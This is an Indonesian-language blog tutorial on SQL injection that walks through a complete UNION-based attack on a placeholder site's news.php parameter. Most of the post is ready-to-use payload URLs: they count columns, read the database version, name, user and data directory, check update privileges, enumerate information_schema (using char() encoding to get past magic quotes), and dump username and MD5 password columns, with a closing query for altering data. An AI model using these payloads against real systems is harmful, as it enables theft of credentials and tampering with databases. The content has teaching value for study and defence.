Internet Home Page Bringing True Journalism Without Fake News Penjelasan SQL-INJECTION dan cara kerja nya

Penjelasan SQL-INJECTION dan cara kerja nya

by Hairiman

Baru belajar SQL aja udah blagu nulis SQL Injection, ah bodo amat,, abisnya gak diajarin sih SQL Injection. SQL Injection adalah salah satu dari sekian kelemahan aplikasi berbasis web. Bugs ini dapat menyebabkan seorang attacker mengeksekusi database target atau melakukan query ke dalam databases untuk mencuri informasi penting di databases, seperti username atau password, atau mengubah / update isi dari database.

Ada dua jenis metode atau cara SQL Injection yang pertama disebut Normal SQL Injection, yaitu dengan memanfaatkan error yang dibuat oleh attacker untuk memperoleh informasi skema atau struktur dari database, yang kedua yaitu Blind SQL Injection, dimana saat exploitasi Normal SQL Injection tidak bekerja, Blind SQL Injection dijadikan metode lain untuk exploitasi. Blind SQL Injection lebih sulit dilakukan, penjelasan lebih jauh tentang hal ini pada postingan yang akan datang :).

Cek Vulnerability

Untuk mengetahui apakah suatu aplikasi web vulnerable terhadap Sql Injection atau tidak, kita coba dengan menambahkan single quotes (‘) pada url, contoh :

http://www.target.com/news.php?id=1′

Jika Vulnerable akan keluar pesan error kurang lebih seperti ini : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” AND bg_deleted_dt IS NULL’ at line 1″

Berapa Jumlah Kolomnya ?

Untuk mengetahui jumlah kolom kita gunakan statement ORDER BY. Jangan lupa gunakan akhiran /* , # , %00 , atau — . Contoh :

http://www.target.com/news.php?id=1+order+by+1– // tidak ada error
http://www.target.com/news.php?id=1+order+by+2– // tidak ada error
http://www.target.com/news.php?id=1+order+by+3– // tidak ada error
http://www.target.com/news.php?id=1+order+by+4– // tidak ada error
http://www.target.com/news.php?id=1+order+by+5– // ada error yang muncul seperti “Unknown column ‘5’ in ‘order clause’”

Itu berarti terdapat jumlah kolom yang ada berjumlah 4. Jika hasil uji coba tidak terdapat error berarti jumlah kolom yang anda masukkan lebih kecil dari pada jumlah kolom yang ada di database, jika terdapat error jumlah kolom yang anda masukkan lebih besar dari jumlah kolom yang ada di database.

UNION Function

Guna UNION Function adalah untuk mengkombinasikan hasil satu atau lebih query dengan “select” statemen ke dalam single result. kita coba apakah fungsi UNION berfungsi atau tidak kita buat statement seperti ini :

http://www.target.com/news.php?id=null+union+select+1,2,3,4,5
,6,7,8,9,10,11,12,13,14,15,16,17,18,19–

Contoh diatas dengan 19 kolom, jika berfungsi maka akan muncul nomor yang bisa kita injeksi.

sql_injection1
kolom yang akan di-injeksi

Get the information

untuk mengetahui versi database yang digunakan,

http://www.target.com/news.php?id=null+union+
select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19–
sql_injection2

untuk mengetahui nama database,

http://www.target.com/news.php?id=null+union+
select+1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19–
sql_injection3

untuk mengetahui username database,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19–
sql_injection4

untuk mengetahui lokasi database,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19–
sql_injection5

Check Previliges !

Kita cek apakah username database yang kita ketahui sebelumnya sebelumnya , mempunyai previlige untuk mengubah, menambahkan, atau menghapus isi database dengan statement berikut ,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,update_priv,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+mys
ql.user–
sql6

wow !!! huruf y berarti yes, kalau n artinya ora gelem.

Mendapatkan isi dari Database

Untuk membaca isi dari suatu Database, kita gunakan sintaks seperti contoh di bawah ini ;

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+table–

Dimana column yang kita tentukan untuk kita baca, dan column tersebut berada pada table yang mana?.

laah??? kan gue gak tau nama kolomnya apa dan table apa saja di databasenya?..zzzZ

Tenang,,sejak SQL versi > 5 kita bisa mendapatkan informasi tentang isi database, di information_schema, jadi mari kita exploitasi database dengan nama information_schema..

Seraaaaanng…………………. !!!!

Rambo Injection

Contoh seperti di bawah,,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(table_name,’ ,table_schema),6,7,8,9,10,11,12,13,14
,15,16,17,18,19+from+information_schema.tables+limit+1+off
set+18–

lalu akan muncul nama column dan nama databasenya, seperti di bawah, sekarang kita main tebak-tebakan, angka 18 tersebut terus anda tambah hingga pada sampai akhirnya anda menemukan database yang bernama “elvin” seperti yang sudah kita ketahui sebelumnya. Saya ganti angka 18 tersebut menjadi 194, dan menemukan database bernama elvin.

sql_injection7

Saya saya ingin mendapatkan informasi tentang username dan password di website tersebut dalam database, dan saya masih menebak column mana yang mengandung kata seperti “user” atau “password”. Saya menebak pada table “eb_profile” terdapat “username” dan “Password” untuk itu saya harus mengetahui column apa saja yang terdapat pada table “eb_profile”, lalu saya melakukan query seperti berikut.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+
information_schema.columns+where+table_name=’eb_profile’–

dan kita mendapatkan satu kolom untuk table “eb_profile”

sql_injection8

jika eror, kemungkinan Magic_Quotes ter-Setting “ON” jadi kita harus melakukan convert nama table ke ASCII, seperti ini jadinya.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+
information_schema.columns+where+table_name=char(101,98
,95,112,114,111,105,108,101)–

Tetap mencari column yang terdapat kata “username” dan “password”,dengan klausa limit dan offset.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+
information_schema.columns+where+table_name=char(101,98
,95,112,114,111,105,108,101)+limit+1+offset+1–

terus ganti angka 1 hingga anda menemukan column yang dicurigai terdapat teroris, eh maksudnya “username” dan “password”. akhirnya sampai disini saya menemukan column “ac_pass_vc” dan “ac_user_vc”. Setelah itu saya intip isi kepada dua column, ada apaan si ??? dengan klausa concatinate.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(ac_user_vc,’%20′,ac_pass_vc),6,7,8,9,10,11,12,13,14
,15,16,17,18,19+from+eb_profile–
sql_injection10

Dooor !!! . kita mendapatkan user pertama “root” berikut dengan md5 hashnya,, :D.. gunakan klausa limit dan offset untuk melihat user lainnya seperti di atas.

Updating the database :

Query untuk mengupdate isi database seperti ni contohny :

http://www.target.com/news.php?id=null+union+select+1,2,3,4,update,6
,7,8,9,10,11,12,13,14,15,16,17,18,19+table_name+set+column_name=
“newvalue”+where+column_name=?value?+where+user=root–

melalui tulisan ini, saya hanya ingin mencurahkan sedikit isi otak saja, bagi-bagi ilmu dikit apa yang dimaksud dengan sql injection, walaupun sudah lama bugs ini, tapi sampai saat ini masih terdapat aplikasi web yang bisa di attack dengan Sql Injection

You may also like

Leave a Comment